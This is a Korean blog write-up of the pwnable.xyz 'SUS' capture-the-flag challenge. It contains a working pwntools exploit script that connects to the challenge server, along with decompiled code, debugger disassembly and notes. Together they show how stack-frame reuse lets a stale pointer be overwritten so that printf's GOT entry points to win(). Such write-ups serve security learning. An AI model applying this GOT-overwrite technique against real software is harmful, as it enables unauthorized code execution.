security/포너블 - pwnable.xyz

pwnable.xyz - SUS

민사민서 2023. 2. 9. 23:33
from pwn import *
p = remote("svc.pwnable.xyz", 30011)
# p = process("./challenge")
e = ELF("./challenge")

p.sendafter("> ", "1")
p.sendafter("Name: ", "minseo")
p.sendafter("Age: ", "1234")

p.sendafter("> ", "3")
p.sendafter("Name: ", "minseo")
p.sendafter("Age: ", b'A'*0x10+p64(e.got['printf'])) # s에 printf_got 대입

p.sendafter("> ", "1")
p.sendafter("Name: ", p64(e.symbols['win']))
# 바로 다음문장 printf("Age: ")에서 win() 함수 실행됨

p.interactive()

 

int __cdecl main(int argc, const char **argv, const char **envp)
{
  int int32; // 4byte 자료형 

  setup(argc, argv, envp);
  puts("SUS - Single User Storage.");
  while ( 1 )
  {
    while ( 1 )
    {
// puts("Menu:\n1. Create user.\n2. Print user.\n3. Edit user.\n4. Exit.");
      print_menu();
      printf("> ");
// 32자리 정수까지 입력 가능
      int32 = read_int32();
      if ( int32 != 1 )
        break;
      create_user();
    }
    if ( int32 <= 1 )
      break;
    if ( int32 == 2 )
    {
      print_user();
    }
    else if ( int32 == 3 )
    {
      edit_usr();
    }
    else
    {
LABEL_13:
      puts("Invalid");
    }
  }
  if ( int32 )
    goto LABEL_13;
  return 0;
}
int read_int32()
{
  char buf[40]; // [rsp+0h] [rbp-30h] BYREF
  unsigned __int64 v2; // [rsp+28h] [rbp-8h]

  v2 = __readfsqword(0x28u);
  read(0, buf, 0x20uLL);
  return atoi(buf);
}
unsigned __int64 create_user()
{
  void *s; // [rsp+0h] [rbp-1060h] BYREF
  unsigned __int64 v2; // [rsp+1058h] [rbp-8h]

  v2 = __readfsqword(0x28u);
  if ( !s )
  {
    s = malloc(0x20uLL);
    memset(s, 0, 0x20uLL);
  }
  printf("Name: ");
  read(0, s, 0x20uLL);
  printf("Age: ");
// age 입력값 저장 안하는데?? -> 어셈블리 확인하니 mov    DWORD PTR [rbp-0x1018],eax 해서 결과 저장하네
// s+0x48 위치에 4바이트만큼 저장한다
  read_int32();
// 전역변수 cur에 s 주소 저장 (malloc chunk에 대한 이중포인터)
  cur = (__int64)&s;
  return __readfsqword(0x28u) ^ v2;
}
int print_user()
{
  int result;

  result = cur;
  if ( cur )
  {
    printf("User: %s\n", *(const char **)cur);
// &s+72 주소에 위치한 4byte 정수를 읽어옴 
    return printf("Age: %d\n", *(unsigned int *)(cur + 72));
  }
  return result;
}
unsigned __int64 edit_usr()
{
  __int64 v0; // rbx
  unsigned __int64 v2; // [rsp+1018h] [rbp-18h]

  v2 = __readfsqword(0x28u);
  if ( cur )
  {
    printf("Name: ");
    read(0, *(void **)cur, 0x20uLL);
    printf("Age: ");
    v0 = cur;
    *(_DWORD *)(v0 + 72) = read_int32();
  }
  return __readfsqword(0x28u) ^ v2;
}
int win()
{
  return system("cat flag");
}

Partial RELRO   Canary found      NX enabled    No PIE
- Partial RELRO: got overwrite?
- 마땅한 취약점이 안보이네. main에서 호출한 서브루틴의 rbp가 모두 동일하다 정도? (스택프레임 재사용?)
- create_user()과 edit_usr()의 스택 프레임 크기가 심상치않다...
- edit_usr()과 print_user() 내부에선 레지스터로 값을 조작해서 딱히 건드릴 수 있는 지역변수 x 

- create_user()에서 s=[rbp-0x1060], age=[rbp-0x1018], rbp=rsp+0x1060
pwndbg> disas create_user 
Dump of assembler code for function create_user:
   0x00000000004009be <+0>:    push   rbp
   0x00000000004009bf <+1>:    mov    rbp,rsp
   0x00000000004009c2 <+4>:    sub    rsp,0x1060

- edit_user()에서 rbp=rsp+0x1028+0x8=rsp+0x1030, edit_user()에서 서브루틴 호출 시 스택프레임이 create_user()의 것과 일부 겹침 - 지역변수 있는 read_int32() 이용 
pwndbg> disas edit_usr 
Dump of assembler code for function edit_usr:
   0x0000000000400ac9 <+0>:    push   rbp
   0x0000000000400aca <+1>:    mov    rbp,rsp
   0x0000000000400acd <+4>:    push   rbx
   0x0000000000400ace <+5>:    sub    rsp,0x1028


- 스택상태: [edit_user() stack frame - 0x1030] | RET | SFP | Canary | buf[0x28] |
pwndbg> disas read_int32
Dump of assembler code for function read_int32:
   0x000000000040096f <+0>:    push   rbp
   0x0000000000400970 <+1>:    mov    rbp,rsp
   0x0000000000400973 <+4>:    sub    rsp,0x30

- create_user()의 8Byte s=[rbp-0x1060]은 edit_usr()의 read_int32()의 buf[0x10~0x17]에 해당한다
- s의 값을 조작할 수만 있다면 원하는 위치에 원하는 값을 쓸 수 있다
<Scenario>
1. create_user() 해서 스택 상에 chunk 주소를 위치시킨다
2. edit_usr() 해서 buf[16~23]에 printf_got 주소를 little endian으로 입력한다
3. create_user() 해서 printf_got 주소에 win() 주소를 little endian으로 입력한다.
3-1. cur은 s를 가리키는 포인터이므로 read(0,s,0x20) == read(0, *(void **)cur, 0x20)
     따라서 edit_user() 실행해서 win() 주소 overwrite 해도 됨
4. 바로 다음 문장 printf("Age: ")에서 win 함수 실행된다~~



 

cf) printf_got 아니라 exit_got 등 다른 GOT overwrite도 가능

cf) 특정 함수의 서브루틴들은 스택프레임의 ebp 위치가 동일하다 = 스택 재사용 발생할 수 있다!! 

'security > 포너블 - pwnable.xyz' 카테고리의 다른 글

pwnable.xyz - strcat  (0) 2023.02.12
pwnable.xyz - J-U-M-P  (0) 2023.02.12
pwnable.xyz - fspoo  (0) 2023.02.09
pwnable.xyz - l33t-ness  (0) 2023.02.07
pwnable.xyz - Jmp table  (0) 2023.02.05